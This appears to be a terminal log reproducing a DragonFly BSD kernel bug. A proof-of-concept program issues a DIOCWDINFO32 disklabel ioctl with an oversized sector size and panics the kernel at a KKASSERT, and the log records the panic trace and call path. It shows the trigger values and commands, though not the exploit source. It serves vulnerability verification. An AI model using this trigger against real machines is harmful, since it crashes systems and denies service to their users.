=== BASELINE RUN (unpatched kernel #0, with-src snapshot) ===
$ uname -a
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64

$ cc -o poc_secsize poc_secsize.c && echo BUILD_OK
BUILD_OK

# scratch vn device, no pre-existing label:
$ dd if=/dev/zero of=/root/scratch.img bs=1m count=64 && vnconfig -c -s labels /dev/vn0 /root/scratch.img

$ /root/poc_secsize /dev/vn0s0
[*] device:       /dev/vn0s0
[*] d_secsize:    0x00200000 (2097152 bytes, MAXPHYS=131072)
[*] b_bufsize:    131072 (MAXPHYS)
[*] secsize/bufsize ratio: 16.00x
[*] checksum dkcksum32(lp) = 0x0000 (want 0)
[*] issuing DIOCWDINFO32 ... (GENERIC: expect KKASSERT panic at subr_disklabel32.c:336)
<< ssh connection dies here — kernel panicked >>

(run_root RC=124 = timeout; guest unresponsive)

$ vm.sh status => down

=== PANIC SIGNATURE from dfbsd-qemu/boot.log (serial console) ===
panic: assertion "(int)lp->d_secsize <= bp->b_bufsize" failed in l32_writedisklabel at /usr/src/sys/kern/subr_disklabel32.c:336
l32_writedisklabel() at l32_writedisklabel+0x289 0xffffffff80696389 
l32_writedisklabel() at l32_writedisklabel+0x289 0xffffffff80696389 
dsioctl() at dsioctl+0x308 0xffffffff80697bc8 
diskioctl() at diskioctl+0xb4 0xffffffff80694514 
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db> 

Call trace confirms the exact claimed path:
  userland ioctl(DIOCWDINFO32)
    -> diskioctl()         [kern/subr_disk.c:1202]
    -> dsioctl()           [kern/subr_diskslice.c:670  op_writedisklabel]
    -> l32_writedisklabel() [kern/subr_disklabel32.c:336  KKASSERT]

Reproduced twice (two independent vm.sh reset with-src runs), identical panic signature.